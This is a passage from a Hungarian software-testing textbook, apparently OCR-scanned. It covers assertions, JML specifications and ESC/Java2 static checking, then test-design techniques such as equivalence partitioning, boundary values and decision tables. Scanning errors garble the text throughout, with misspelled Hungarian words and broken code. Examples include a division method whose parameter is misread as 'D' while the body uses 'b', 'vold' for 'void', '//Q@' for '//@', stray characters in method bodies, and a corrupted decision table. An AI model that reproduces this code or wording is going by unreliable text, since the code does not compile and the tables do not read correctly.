public double division (double a, double D) {
assert (b!=0.0);
return a / b;

}

A fenti példaban azt feltételezziik, hogy a metddus masodik paramétere nem nulla. A program
kddjaban a feltételezéseinket assert formajaban tudjuk beirni Java esetén. Java esetén az assert
utasitasok csak akkor futnak le, ha a JVM-et a —enableassert vagy az egyenérték(i —ea opcidval
futtatjuk, egyébként nincs hatasuk

C# esetén a fenti példa megfeleldje ez:

public double division (double a, double b)

{
System.Diagnostics.Debug.Assert (b != 0.0);
return a / b;

}

Az Assert csak akkor fog lefutni, ha a Debug médban forditjuk az alkalmazast.

A program viselkedését legegyszer(ibben assert utasitasok lehet leirni, de lehet6ségiink van magas
szint{ viselkedés leiréd nyelvek hasznalatara, mint példaul a JML (Java Modeling Language) nyelv.
Ez esetben magas szint( statikus kod ellenérzést (Extended Static Checking, ESC) tudunk végezni az
ESC/Java2 program segitségével.

Egy példa JML hasznalatéra:

public class BankSzamla {
private /*@ spec public @*/ int balansz = 0;
private /*@ spec public @*/ boolean zarolt =
//@ public invariant balansz >= 0;
//@ requires 0 < Osszeg;
//Q@ assignable balansz;
//@ ensures balansz == \old(balansz) + &sszeg;
public void betesz (int Osszeg) { balansz += Osszeg; 1}

false;

//@ requires 0 < Osszeg && 0sszeg <= balansz;

//Q@ assignable balansz;

//@ ensures balansz == \old(balansz) - dsszeg;

public void kivesz (int 0Osszeg) { balansz -= Osszeg; }

//Q@ assignable zarolt;

//@ ensures zarolt == true;

public void zarol () { zarolt = true; }
//@ requires !zarolt;

//@ ensures \result == balansz;

//Q@ also

//@ requires zarolt;

//@ signals only BankingException;
public /*@ pure @*/ int getBalansz () throws BankingException
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if (!zarolt) { return balansz; }
else { throw new BankingException ("Zarolt a szamla"); }

}
Ebbdl a kis példabdl lehet 1atni, hogy a JML specifikaciot megjegyzésbe kell irni, amely az @ jellel

kezdddik. A spec_public kulcsszéval tesziink lathatova egy mez6t a JML specifikacid szamara. Az
invariant kulcsszé utan adjuk meg az osztaly invariansat, amelynek minden (nem helper) metédus
hivds el6tt és utan igaznak kell lennie. Az el6feltételt a requires kulcsszd utan kell irni. Maga a
feltétel egy szabalyos Java logikai kifejezés. A kifejezésben lehet hasznalni JML predikatumokat is.
Az utdfeltétel kulcsszava az ensures. Lehet |atni, hogy az utdfeltételben lehet hivatkozni a
visszatérési értékre a \result ML kifejezéssel. Az \old(x) JML kifejezés az x valtozé metddus futdsa
el6tti értékére hivatkozik. Az assignable kulcsszé segitségével ugynevezett keretfeltétel (frame
condition) adhatd, amiben felsorolhatom, hogy a metdduson belil mely mez6k értékét lehet
megvaltoztatni. Ha egyik mez6 értékét sem valtoztathatja meg a metddus, akkor azt mondjuk,
hogy nincs mellékhatdsa. Az ilyen metddusokat a pure kulcsszéval jeldljik meg. EIG- és
utofeltételben csak pure metddusok hivhatok. Az also kulcsszd esetszétvdlogatdsra szolgal. A
signals_only kulcsszo utan adhatdé meg, hogy milyen kivételt valthat ki a metddus.

Az fenti példdban van egy BankSzdmla osztdlyunk, amelyben a balansz mez6 tarolja, hogy mennyi
pénziink van. Az invariansunk az fejezi ki, hogy a balansz nem lehet negativ. Négy metddusunk van.
A metddusokndl megadjuk el6- és utédfeltételiiket természetes nyelven:

A betesz(6sszeg)

A El6feltétel: Az Osszeg pozitiv szam, mert nulla forintot nincs értelme betenni, negativ
Osszeget pedig nem szabad.

A Keret feltétel: Csak a balansz mez6t irhatja.

A Utofeltétel: A balanszot meg kell névelni az 6sszeggel, azaz az Uj balansz a régi balansz
plusz az 6sszeg.

A kivesz(Osszeg)

A El6feltétel: Az Osszeg pozitiv szam, mert nulla forintot nincs értelme kivenni, negativ
Osszeget pedig nem szabad. Tovabbd az Osszeg kisebb egyenlS, mint a balansz, mert a
szamlan |év6 6sszegnél nem lehet tobbet felvenni.

A Keret feltétel: Csak a balansz mez6t irhatja.

A Utdfeltétel: A balanszot csokkenteni kell az 6sszeggel, azaz az Uj balansz a régi balansz
minusz az 6sszeg.

A zarol()
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A El6feltétel: Nincs, azaz mindig igaz.

A Keret feltétel: Csak a zarolt mez6t irhatja.

A Utofeltétel: A zarolt mezének igaznak kell lennie.

A getBalansz()

A Két esetet kilonboztetiink meg, ahol az el6feltételek kizarjak egymast.

A El6feltétel: A szamla nem zarolt.

A Utofeltétel: A visszatérési érték megegyezik a balansz értékével.

A El6feltétel: A szamla zérolt.

A Kivétel: Zarolt szamla nem kérdezhetd le, ezért BankingException kivételt kell dobni.

A Keret feltétel: Mindkét esetben egyik mez6 sem irhato, tehat ez a metddus ,,pure”.

A JML nyelvhez tobb segédeszkoz is létezik. Az elsé ilyen az lowa State University JML program. Ez
a kovetkez6 részekbdl all:

A jml: JML szintaxis ellen6rzé
A jmlc: Java és JML forditd, a Java forrasban lév6 JML specifikaciot beleforditja a bajtkédba.

A jmlrac: a jmlc altal instrumentdlt bajtkédot futtatd JVM, futtatds kozben ellenérzi a
specifikaciét, tehat dinamikus ellendrzést végez.

Nekiink a JML 5.4 és 5.5 verziét volt szerencsénk kiprébalni. Sajnos ezek csak a Java 1.4 verzioig
tdmogatjdk a Java nyelvet. Nem ismerik példaul a paraméteres osztalyokat. Ha simdn hivjuk meg a
jmlc parancsot, akkor rengeteg informacidt kiir, ami esetleg elfed egy hibat. Ezért érdemes a -Q
vagy a -Quite opciéval egyltt hasznalni. A BankSzamla példat a kdvetkez6 utasitasokkal lehet
ellendrizni, hogy megfelel-e specifikacidjanak:

jmlc -Q BankSzamla.java
jmlrac BankSzamla

Persze ehhez a BankSzamla osztalyba kell irni egy main metddust is, hiszen az a belépési pont.

Masodik példa:
//***x* k%% ApstractAccount.java ****x*x*x*

package bank3;
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public abstract class AbstractAccount {
//@ public model int balance;

//@ public invariant balance >= 0;

//@ requires amount > 0;
//Q@ assignable balance;
//Q@ ensures balance == \old(balance + amount) ;
public abstract void credit (int amount);
//@ requires 0 < amount && amount <= balance;
//Q@ assignable balance;
//@ ensures balance == \old(balance) - amount;
public abstract void debit (int amount) ;
//@ ensures \result == balance;
public abstract /*@ pure @*/ int getBalance();
}
//***x*%kx Dccount.java *rxEExk
package bank3;
public class Account extends AbstractAccount {

private /*@ spec public @*/ int balance = 0; //@ in
super.balance;

//@ private represents super.balance = balance;
public void credit (int amount) { balance += amount; }
public void debit (int amount) { balance -= amount; }

public int getBalance () { return balance; }

}

Ez a példa azt mutatja meg, hogyan lehet mar az interfészben vagy az absztrakt 6s osztalyban
specifikdlni az elvart viselkedést. Ehhez egy modell mezét kell definidlni az &sben (vagy az
interfészben) a ,,model” kulcsszéval. A konkrét gyermekben az dsben specifikalt viselkedést meg
kell valésitani. Ehhez meg kell mondani, hogy melyik konkrét mezé valésitja meg a modell mez6t.

Ez a ,represents” kulcsszd haszndlatdval lehetséges.

3-12



A fenti példat a kovetkez6 utasitasokkal lehet ellenérizni:
jmlc -Q bank3/*.java
jmlrac bank3.Account

Persze ehhez a Account osztdlyba kell irni egy main metddust is, hiszen az a belépési pont.

Harmadik példa:
J/F*F*xxxxx Timer,java **xkkkx
package bank4;
public interface Timer/{
//@ public instance model int ticks;
//Q@ public invariant ticks >= 0;
//@ assignable this.ticks;
//@ ensures this.ticks == ticks;
vold setTimer (int ticks);
}
J/***xxxx% Digh.,java ******x
package bank4;
public class Dish implements Timer{
private /*Q@ spec public @*/ int timer; //@ in ticks;
//@ private represents ticks = timer;
public void setTimer (int timer) { this.timer = timer;}

}

Ez a példa azt mutatja meg, hogyan kell modell mezét létrehozni az interfészben. Mindent
ugyanugy kell csinalni, csak a ,,model” kulcsszdé elé be kell irni az ,instance” kulcsszdt, ami azt fejezi
ki, hogy a modell valtozé példany szintd. Erre azért van sziikség, mert egyébként Javdaban minden

interfész mezd statikus.

Lattuk, hogy a specifikacié dinamikus ellenérizhet6 az lowa State University JML programmal.
Szerencsére lehetséges a statikus ellen6rzés is az ESC/Java2 programmal.

Az ESC/Java2 (Extended Static Checker for Java2) egy olyan segédeszkdz, amely ellenérizni tudja,
hogy a Java forras megfelel-e a JML specifikdcionak. Az ESC/Java2 hasonléan a FindBugs
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programhoz figyelmezteti a programozét, ha null referencidra hivatkozik, vagy mas gyakori
programozoi hibat vét. Erre akkor is képes, ha egy JML sor specifikdciot se irunk. Nyilvan, ha
kiegészitjik a kddunkat JML specifikacidval, akkor sokkal hasznosabban tudjuk haszndlni.

Az ESC/Java2 program is csak a Java 1.4 verzidjaig tamogatja a Java nyelvet. Ez is telepithetd
Eclipse pluginként a http://kind.ucd.ie/products/opensource/Mobius/updates/ cimrdél.

Miutan feltelepitettiik két uj perspektivat kapunk, a Validation és a Verification nevlit. Az els6ben
3 Uj gombban béviil a mensor alatti eszkoztar. Ezek a kovetkezSek: JML, IMLC, és a IMLRAC gomb,
amelyek az azonos nev(i segédprogramot hivjak az lowa State University JML programcsomagbal.

A masodik perspektivaban 5 Uj gombot kapunk. Ezek kozil a legfontosabb az els, amely elindjtja a
ESC/Java2 ellen6rz6 programot. A tobbi gomb balrdl jobbra haladva a kovetkezdk: jelolSk
(jelol6knek nevezzik a hiba helyét jelol6 piros ikszet) torlése, ugras jelol6re, ellendrzés
engedélyezése, ellendrzés tiltdsa. Ezeket nem talaltuk kilondsebben hasznosnak. Ami hasznos volt
szamunkra az az ESC/Java2 menuben taldlhaté Setup mend. Itt lehet bekapcsolni az automatikus
ellenérzést, aminek hatasara minden egyes mentés utan lefut az ESC/Java2.

Nézziink egy egyszer( példat, amikor JML specifikacid nélkil is hibat fedez fel a kddunkban az
ESC/Java2.

package probe;

public abstract class Decorator extends Car {
Car target;
public int getSpeed() {

return target.getSpeed()

}

Itt az 6todik sorra azt a hibat kapjuk, hogy ,,Possible null dereference (Null)”. Ez a figyelmeztetés
teljesen jogos, segiti a programozdt kijavitani egy hibat.

Nézziik meg azt a példat, amivel a FindBugs nem boldogult:

public static void main(String[] args) {
Object o = null;
int i = 1;
if(i == 1) o = "hello";
System.out.println(o.toString());
}

Erre az ESC/Java2 semmilyen hibat nem ad. Ez azért lehetséges, mert mogotte egy automatikus
tételbizonyitd all, ami meg tudja nézni, hogy valamely feltétel igaz vagy sem az egyes lehetséges
végrehaijtasi utakon.
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Ugyanakkor a ESC/Java2-h6z adott Simplify nev(i automatikus tételbizonyité nem tul okos. Példaul
nem tudja, hogy két pozitiv szam szorzata pozitiv, ezért ad hibat a kdvetkez6 példara:

public class Main {
//@ requires n>=0;
//@ ensures \result > 0;
public int fact (int n) {
if (n==0) return 1;

return n*fact(n-1);

}

Itt az ESC\Java2 hibasan a , Postcondition possibly not established (Post)” figyelmeztetést adja,
pedig a fuggvény tokéletesen betartja az utdfeltételét. Szerencsére az ESC\Java2 alatt kicserélhet§
az automatikus tételbizonyito.
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Szoftver tesztelés

4 Teszt tervezési technikak

Az el6z6 fejezetben attekintettiik a statikus tesztelési technikdkat. Ezek a mddszerek nem
igénylik a tesztelendd rendszer futtatdsat, s6t bizonyos esetekben még a forrdskdd meglétét
sem.

A dinamikus tesztelési technikdk viszont a tesztelend6 rendszer futtatasat igénylik. Ebben a
fejezetben a dinamikus tesztek tervezési kérdéseivel foglalkozunk. Definidljuk a szikséges
fogalmakat, megismerjik a teszt tervezési technikdk megkozelitési modjait, attekintjik a
legelterjedtebb specifikacio alapu, struktura alapu és gyakorlat alapu tesztelési technikakat,
majd megvizsgaljuk az egyes technikak kozotti valasztas szempontjait.

A dinamikus tesztelési technikak els6sorban a komponens teszt, azon belil is f6leg a unit-
teszt (egységteszt) fazis eszkoze.

Mivel a teszteléssel kapcsolatos magyar nyelv(i irodalom maig is igen kevés, az érdekl6débb
hallgaték elsésorban az angol nyelvl szakirodalom tanulmanyozdsa soran juthatnak Uj
ismeretekhez. Ennek megkodnnyitésére a fontosabb fogalmak elsé el6forduldasa sordn annak
angol nyelvli megnevezését is kozoljuk.

4.1 Alapfogalmak
A dinamikus tesztek tervezése alapvetéen az alabbi harom lépésbdl All:

o Atesztelés alanydnak, céljanak meghatarozasa (test condition)
o Tesztesetek (test cases) specifikaldsa
o Teszt folyamat (test procedure) specifikdlasa

A tesztelési folyamathoz kapcsolédnak még a teszt készlet (test suite), hibamodell és
lefedettség (test coverage) fogalmak is.

4.1.1 Tesztelés alanya (test condition)
A tesztelés alanya lehet rendszer egy olyan jellemzGje, amely ellenérizhet6 egy vagy tobb
teszt esettel. llyen lehet példaul:

e funkcid,

e tranzakcio,

o képesség (feature),
* mindségi jellemzd,
e strukturalis elem.
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4.1.2 Teszteset
Egy teszteset az aldbbi 6sszetevékbdl all:

e végrehaijtasi prekondicidk (preconditions)

e input értékek halmaza

e elvart eredmény

e végrehajtasi posztkondicidk (postconditions)

Egy teszteset célja egy meghatarozott vezérlési Ut végrehajtatasa a tesztelendé program
egységben, vagy egy meghatdrozott kovetelmény teljesiilésének ellenbrzése.

Egy teszteset végrehajtasa esetén a rendszert egy megadott kezdd allapotban kell hozni
(prekondiciok), megadott input értékek halmazaval végre kell hajtatni a tesztelt elemet,
majd a teszt futdsanak eredményét oOssze kell hasonlitani az elvart eredménnyel és
ellenérizni kell, hogy a végrehajtds utan a rendszer az elvart allapotba (posztkondicidk)
kerilt-e.

Példaként tételezziink fel egy olyan program modult, amely a felhaszndlétél bekér néhany
adatot, és megnyomja a ,Szamolj’gombot. A modul a megadott adatokat és adatbdzisban
tarolt egyéb értékeket felhaszndlva elvégez valamilyen szdmitast, majd az eredményeket
adatbazisba menti. Ennek a modulnak egy tesztesete tartalmazza:

e afelhasznaldi adatokat (input értékek halmaza),

e aszamitds helyes eredményét (elvart eredmény),

e prekondiciéként azt, hogy a felhaszndlé6 megnyomta a ,Szamolj” gombot, és az
adatbazis tartalmazza a szamitashoz szlikséges értékeket,

e posztkondicioként, hogy a szamitas eredményei bekeriltek az adatbazis megfeleld
tablaiba.

4.1.3 Teszt specifikacio
Egy teszteset végrehajtasahoz sziikséges tevékenységek sorozatanak a leirdsa. Szokds teszt
forgatékonyvnek (manual test script) is nevezni.

4.1.4 Tesztkészlet
Egy tesztkészlet tesztesetek és hozzajuk tartozé teszt specifikaciok halmaza. Csoportosithaté
egy teszt alanyra, vagy egy vizsgalt hibara.

A tesztkészletet megfelel6 mddon archivalni kell, mert egy tesztkészletet a fejlesztés soran
tobbszor is végre kell hajtani, s6t, a rendszer kés6bbi valtoztatasainal is szerepet kap, annak
ellen6rzésére haszndlhatd, hogy a valtoztatds hatasdra nem keletkezett-e Ujabb hiba.



Szoftver tesztelés

4.1.5 Hibamodell
Azon (feltételezett) szoftver hibak halmaza, amelyre a teszt tervezés irdnyul. A tesztesethez
kapcsolédd példahoz a hibamodell azt rogzitheti, hogy az aldbbi hibak kdvetkezhetnek be:

e szamitasi hibak,

e adatbazis lekérdezési hibak (rossz adatokat hasznalunk fel a szamitashoz),

e az adatbazisba moddositasanak hibak (a szamitds eredménye rosszul keril be az
adatbazisba).

A hibamodell a tesztesetek tervezéséhez ad tdmpontokat.

4.1.6 Teszt folyamat

Egy rendszer teljes tesztelésének megtervezéséhez (ami a teszt menedzsment egyik feladata,
igy a kovetkez6 fejezetben foglalkozunk vele részletesebben), az aldbbiakat foglalja
magaban:

e aszlkséges tesztelési célok meghatarozasa,

e minden tesztelési célhoz a szlikséges tesz készlet definidlasa

e az egyes teszt készletekben foglalt tesztek Utemezésének és a végrehajtdsuk
dokumentdlasanak megtervezése.

A teszt folyamat terve a rendszer specifikacidjanak egy fejezete lehet, de Osszetettebb
rendszerek esetén daltaldban kilon teszt specifikacid készil.

4.1.7 Tesztlefedettség

A teszt lefedettség a szamszer( értékelése annak, hogy a tesztelési tevékenység mennyire
alapos, illetve hogy egy adott id6pontban hol tart. A ,Mar majdnem kész vagyok, f6nok!” és
a ,Harom hete ezen dolgozom, f6nok!” meglehetésen szubjektiv mértékek. (Nem tudom
megadllni ezen a ponton, hogy ne idézzem a szoftverfejlesztés egyik alapvets ,természeti
torvényét”: egy szoftver projekt a rendelkezésre allé id6 90%-aban 90%-os késziiltségi fokon
all...)

Amiota felismertik, hogy a tesztelés a fejlesztési folyamat fontos (és sajnos eréforrds
igényes, tehat koltséges) része, folyamatosan keressiik a folyamat el6rehaladasanak a mérési
lehetGségeit.

A teszt lefedettség szamszerUsitése alkalmas a tesztelési tevékenységet értékelésére az
aldbbi szempontok szerint:

o Lehet6séget ad a tesztelési tevékenység minGségének mérésére.
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e Lehet6ség biztosit arra, hogy megbecsiiljiik, ennyi erSforrast kell még a fejlesztési
projekt hatralevd idejében tesztelési tevékenységre forditani.

Az egyes tesztelési technikdk mas és mas lefedettségi mérészamokat alkalmaznak. A
specifikacié alapu technikdk esetén arra adhatnak valaszt, hogy a kovetelmények milyen
mértékben lettek tesztelve, a struktura alapu technikdk esetén pedig, hogy a kdéd milyen
mértékben lett ellendrizve.

A lefedettségi mérészamok tehat arra nézve adnak informaciot, hogy milyen késziltségi
szinten all a tesztelési tevékenység, és a tesztelési terv részeként meghatarozzak, hogy
milyen feltételek esetén tekinthetjik a tevékenységet késznek.

4.2 A teszt tervezési technikak fajtai

A szoftver technoldgia kialakuldsa 6ta szamos teszt tervezési technika alakult ki. Ezek
kilénbdznek a hatékonysaguk, implementdldsuk nehézsége, az elméleti hattér és a
mindennapi fejlesztési gyakorlatbdl leszlirt heurisztikdk aranyaban.

Ha attekintjik a szamos publikalt technikat és értékeljiik ezeket a gyakorlati alkalmazhatdsag
szempontjabdl, akkor a technikakat harom lényeges csoportba sorolhatjuk:

o Specifikacié alapu technikdk. Ezek a moddszerek a teszteseteket kozvetlenil a
rendszer specifikdciéjabdél (modelljéb6l) vezetik le. Black-box technikdknak is
nevezzik ezeket, mert az egyes szoftver modulok belsé szerkezetének ismerete
nélkl, az egyes modulok altal teljesitend6 funkcionalitasok alapjan tervezhetjik meg
a teszt eseteket.

e Modell alapu technika (Model-driven testing). Valdjaban az el6z6 csoportba tartozik,
csak formalizaltabb technika. Kozvetlentl az UML modellbdl vezeti le a teszteseteket,
és formalizalt teszt specifikaciot alkalmaz. Erre haszndlhaté az UML kiterjesztése.
(UTP — UML Testing Profile.)

e Struktura alapu technikdk. Ezek a mddszerek a kdd ismeretében hatdrozzak meg a
teszteseteket. White-box technikdknak is nevezzik.

e Gyakorlat alapu technikdak. A tesztel6knek a munkdjuk soran megszerzett
tapasztalatira épul6, a szakmai intuicidkat is értékesit6 technikak.

Természetesen léteznek olyan teszt tervezési modszerek is, amelyek egyik fenti kategoériaba
sem sorolhatdk be, azonban a gyakorlatban alkalmazott mdédszerek 6sszefogasara a jelen
jegyzet szintjén ezek a kategéridk bevaltak.

A tovabbiakban ennek a csoportositdsnak megfelel6en foglaljuk 6ssze az ismertebb
technikdkat.

4.3 Specifikacio alapu technikak
Ezek a technikdk a tesztelés alapjaként a rendszer specifikacidjat, esetleg formalis modelljét
tekintik. Amennyiben a specifikacid jél definialt és megfelel6en strukturalt, ennek elemzése
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sordn konnyen azonosithatjuk a tesztelés alanyait (test conditions), amelyekbdl pedig
szarmaztathatjuk a teszteseteket.

A specifikacié soha nem azt régziti, hogy hogyan kell a rendszernek megvaldsitania az elvart
viselkedést (ennek meghatarozasa a tervezés feladata), csak magat a viselkedést definidlja. A
specifikacid és a tervezés a fejlesztés folyamataban is kilon fazist képviselnek, és gyakran a
fejleszt6 csoporton belil nem is ugyanazok a részvevék végzik. A specifikacids fazis
legtobbszor megel6zi a tervezési fazist. Ez lehetévé teszi a munkafolyamatok
parhuzamositasat: a specifikacid alapjan a tesztmérndkok kidolgozhatjdk a teszteseteket
mikOozben a rendszer tervezése és implementaldsa folyik. Ha az implementacid elkésziil, a
mar kész tesztesetek futtatasaval lehet ellendrizni.

A tevékenységek ilyen parhuzamositasa a fejlesztés atfutasi idejének roviditésén tul a
specifikacié ellendrzésére is alkalmas. Ha ugyanis egy, a mikoédd program ismerete nélkil,
csak a specifikacid elemzése alapjan megtervezetett teszteset hibat mutat ki, annak két oka
lehet

e atervezés vagy az implementdcio soran a fejleszt6k altal elkbvetett hiba,
e ugyanazt a kovetelményt a teszt mérnok és a tervez6 mdsként értelmezte — ez a
specifikacié hibaja.

Nem minden fejlesztési projekt alapul pontosan definialt specifikacion. Ebben az esetben a
specifikacié alapu tesztesetek megtervezése, illetve a tervezéshez sziikséges informdacidk
megszerzése parhuzamosan, egymastdl elkllonitve torténhet, ami tobblet erdéforrasok
felhasznaldsat, és a félreértések esélyének ndvekedését jelenti.

Van azonban olyan eset is, amikor a formadlis specifikaciéd hidnya nem jelenti a tesztelési
tevékenység megnehezitését. Az agilis fejlesztési szemlélet ugyanis nem koveteli meg
formalis specifikaciéd elkészitését. Ez a megkdzelités azonban éppen a tesz tervezés
fontossagat emeli ki: a specifikacid szerepét a tesztesetek veszik at: a fejlesztés soran el&szor
egy funkcidhoz tartozod teszteseteket kell megtervezni. Az implementacios fazis befejezését
az jelenti, ha az 6sszes (el6re megtervezett) teszteset hiba kimutatasa nélkil fut le.

A tesztelési technikdk ismertetése soran tobbszor fogunk hivatkozni az aldbbi
»specifikdcidkra”:

S1: Készitslink programot, amely beolvas egy egész szamot, és kiirja, hogy az negativ, pozitiv,
vagy nulla-e.

S2: Készitsiink programot, amely beolvas hdarom egész szamot, amelyek egy haromszog
oldalhosszait reprezentdljdk. A feladat annak megallapitdsa, hogy a bemeneti adatok
altaldnos, egyenldszaru vagy egyenl6 oldald haromszoget alkotnak-e.

A tesztelési folyamat nehézségére utal, hogy ennek a nagyon egyszerl specifikacionak
megfelel6 programnak a korrekt ellenérzésére is szamos teszt esetet kell definidlnunk.
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A tovabbiakban attekintjik a legismertebb specifikacié alapu tesztelési technikdkat.

4.3.1 Ekvivalencia particionalas (Equivalence partitioning)
Ennek a technikdnak az alapja az a megfigyelés, hogy vannak olyan kiilénb6z6 input értékek,
amelyekre a programnak ugyanugy kell viselkednie.

Ekvivalencia osztalynak nevezziik az input értékek olyan halmazat, amelyre ugyanugy kell
viselkednie a programnak. Ez azt jelenti, hogy egy ekvivalencia osztalyhoz elég egy teszt
esetet megtervezni és lefuttatni, mert az osztdlyhoz tartozo lehetséges tesztesetek

e ugyanazt a hibat fedhetik fel,
e ha egy teszteset nem fed fel egy hibat, azt az osztalyhoz tartozé mas tesztesetek sem
fogjak felfedni.

Az ekvivalencia osztadlyok meghatdrozasa jelentésen csokkentheti a sziikséges tesztesetek
szamat. Az S1 specifikdcionak megfelel6 program kimerit6 tesztelése esetén a tesztesetek
szama az abrdzolhatd egész szamok szamaval azonos. Nyilvanvaléan azonban a tesztesetek
szama hdromra korlatozhatd, mert feltételezhet6, hogy ha a program az 1 bemenetre a
»pozitiv” valaszt adja, akkor 23458-re is azt fogja adni.

Az ekvivalencia osztalyok meghatdrozasa heurisztikus folyamat. Meghatdrozasuk soran meg
kell keresniink az érvényes és az érvénytelen bemenetek osztalyat is.

Az S1 specifikacié matematikai értelmezése szerint nem lehetnének érvénytelen bemenetek,
hiszen minden egész szdm besorolhatd a specifikacid szerinti kategoériak valamelyikébe. Egy
szamitégépes program azonban nem képes az egész szamok teljes halmazat leképezni, igy
meg kell vizsgalni azt az esetet, hogy ha az input olyan egész szdmot tartalmaz, ami az
abrazoldsi tartomdanyok kiviilre esik.

Az ekvivalencia osztdlyok atfedhetik egymast. Ennek felismerése tovdbb csokkentheti a
szlikséges tesztesetek szamat, hiszen a kozos részhalmazbdl vélasztott teszteset az atfedett
osztalyok mindegyikére érvényes.

Az S2 specifikacidra ekvivalencia osztalyok lesznek példaul

e hdrom olyan pozitiv szam, ami altalanos haromszoget alkot (érvényes ekvivalencia
osztaly)

e Az egyik szam negativ (nem érvényes ekvivalencia osztaly)

o sth.

4.3.2 Hatarérték analizis (Boundary value analysis)
Ennek a technikdnak az alapja az a megfigyelés, hogy a hatdrértékek kezelésénél
konnyebben kovetnek el hibat a programozék, mint az ,altalanos” eseteknél.

4-6



Szoftver tesztelés

Célszer( tehat az ekvivalencia osztalyok hatarértékeit kiilon megvizsgalni.
Az S2 specifikacid esetén ilyen hatarértékek példaul:

o két szam Osszege egyenld a harmadikkal
e mindharom szam 0

Figyelni kell a kimeneti ekvivalencia osztalyok hatarértékeit is. Ehhez persze sokszor
"visszafelé" kell gondolkodni, tehat meg kell hatarozni azon input értékek halmazat, amelyek
hatarértékként kezelhetd kimeneteket produkalnak.

Tipikus probléma a konténer tipusu adatszerkezetek elemszdma, vagy a sorszdmozott tipusu
adatszerkezetek "végei"!

Példaként vegylik egy program modult, amelynek feladata egy minta megkeresése egy
sorozatban. A hatarérték analizis soran megtaldlhato tesztesetek:

e 0 hosszusagu sorozat

e 1 hosszUsagu sorozat, a minta nincs benne / a minta benne van
e >1 hosszUsagu sorozat, a minta az elsé / utolsé helyen van

e 2 hosszUsagu sorozat (nincs benne / elsé /utolsd)

e nagyon nagy elemszamu sorozat

4.3.3 Ok-hatas analizis (Cause-effect analysis)
Ez a technikai egy dontési tablat épit fel, amelynek az oszlopai adjak meg a definidlandd
teszteseteket, ezért dontési tabla (decision table) technikanak is nevezik.

A moddszer alapgondolata az, hogy a specifikacié gyakran olyan formaban irja le a rendszer
altal megvaldésitando lzleti folyamatokat, hogy az egyes tevékenységeknek milyen bemeneti
feltételei vannak. Az el6z6 két mddszer nem vizsgalja a bementi feltételek kombinacidit.

A bemeneti feltétel (ok) lehet példaul:

e egy input adat valamilyen értékére vonatkozo el8iras,
e input adatok egy ekvivalencia osztalya,
e valamilyen felhasznaléi akcié vagy egyéb esemény bekovetkezése stb.

A kimeneti feltétel (hatdas) megmondja, hogy az okok egy kombinacidjara a rendszernek
milyen allapotot kell elérnie.

A bementi és kimenti feltételekhez logikai érték rendelhetd. (Teljesil-e: igen-nem). Ez a
megkozelités a rendszert egy logikai haldzatnak tekinti, ahol a lehetséges bemenetekhez a
specifikacié daltal megadott szikséges kimeneteket rendeljiik hozza. Ennek a logikai
halézatnak az igazsagtabldja egy dontési tablazatban dbrazolhatd. A tdblazat soraiban az
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okokat és a hatasokat soroljuk fel, a celldkban pedig azok logikai értéke talalhaté. A tdblazat
minden egyes oszlopa egy megvaldsitandd teszt esetet definial.

Lassunk erre egy egyszer(i példat:

Egy druhdz pontgylijt6é kartyat bocsat ki. Minden vdsarld, akinek van ilyen kartyaja, minden
vasarldsa soran donthet, hogy 5% kedvezményt kér a szamla 6sszegébdl, vagy a kartyan lévé
pontjait noveli meg. Az a vasarld, akinek nincs ilyen kartydja, szintén megkaphatja az 5%
kedvezményt, ha 50.000 Ft felett vasarol.

A bemeneti feltételek (okok) ebben az esetben:

e Van-e pont pontgydijt6 kartya?
e Kéri-e a kartyatulajdonos a kedvezményt?
e 50.000 Ft felett van-e a vasarlas 6sszege?

A kimeneti feltételek (hatasok):

e Nincs kedvezmény
o Kedvezmény jévairasa
e Pontok jovairdsa

A dontési tabla:

T1| 72 | T3 | T4
Okok:
01 | Van-e pontgylijt6 kartya? | | H H
02 | Kéri-e a kartyatulajdonos a | H | - -
kedvezményt?
03 | 50.000 Ft felett van-e a vasarlas | - - H |
Osszege?
Hatasok:
H1 | Nincs kedvezmény I H | H
H2 | Kedvezmény jévairdsa H | H I
H3 | Pontok jévairasa | H H H

A tabldzatban az Igaz — Hamis logikai értékek mellett megjelenik a — jel is, amelynek kétféle
jelentése lehet:

e abemenetifeltételt a tobbi feltétel adott dllapota kizarja (mint az O2 sorban),
e a kimeneti feltétel a tobbi feltétel adott allapota mellett flggetlen a bemeneti
feltétel dllapotatdl (mint az O3 sorban).

Ez a jelolés (amely egyfajta haromértékl logikat hasznal) csokkenti az oszlopok (és ezzel a
sziikséges tesztesetek) szamat.
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Ha a dontési tablat egy logikai hdldzat igazsagtablazatanak tekintjiik, a bementi feltételek
Osszes lehetséges kombindcidit tartalmaznia kellene. Ezek szdma, tehat a dontési tabla
oszlopainak a szama igen nagy lehet. A teszt tervezés szamara hasznos dontési tablaban az
oszlopos szamat csokkentheti:

e apéldaban is alkalmazott ,haromértéki logika” hasznalata,
e azatény, hogy a specifikacid szerint egyes bemeneti feltételek egymast kizarhatjak,
e nem minden lehetséges bemeneti feltétel kombinacidhoz tartozik hatas.

A teljes dontési tablatdl megkllonboztetve az igy kapott tablazatot szlikitett dontési
tablazatnak (limited entry decision table) nevezziik.

A specifikacidbdl el6allitott dontési tabla, amellett hogy jol attekinthetd kiinduldpontja lehet
a tesztesetek tervezésének, ,mellékhatasként” alkalmas a specifikacié konzisztencidjanak és
teljességének az ellenérzésére is, ezdltal a specifikacid tesztelésének is eszkoze. A
specifikacié hidnyossagaira utalhat példaul az, hogy tdblazatban tudunk olyan oszlopot
elGallitani, amelyben a bemeneti feltételeknek egy, a valdsdgban el6fordulhatd kombindcidja
taldlhato, de nem tartozik hozza a specifikacidban hatas. (Hidnyos specifikacio.)

A dontési tabla elGallitdsanak van egy formdlis mddszere, amely f6leg nagy méret(
tablazatok esetén lehet hasznos. Ehhez ismét abbdl kell kiindulni, hogy a rendszert egy
logikai halézatként tekinthetjik, ahol a bementi feltételek, a dontésekhez sziikséges
kdzbensd feltételek és a kimenetet jelent6 hatasok a haldézat elemei. Az ilyen haldzatokat az
ugynevezett bool graffal dbrdzolhatjuk. A bool graf jellemzéi:

e Csomodpontjai a 0 vagy 1 (igaz/hamis) értékeket vehetik fel.

e Azirdnyitott élek logikai m(iveleteket jelentenek

e Egy csomopont értékét a befutd élek kiinduldasi csomépontjainak értéke, és a
csomoponthoz rendelt mUivelet hatdrozza meg.

e A grafban minden ok és minden hatds egy csomdpontként jelenik meg, ezek kozott
lehetnek kdzbensd allapotok.

e Az okokban megfelel6 csomdpontokhoz csak kiinduld élek tartoznak.

A hatasoknak megfelel6 csomdpontokbdl nem indulhatnak ki élek.

A bool graf alapelemeinek egy lehetséges jel6lésmaddja:
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4-1. abra A bool graf jelolésrendszere

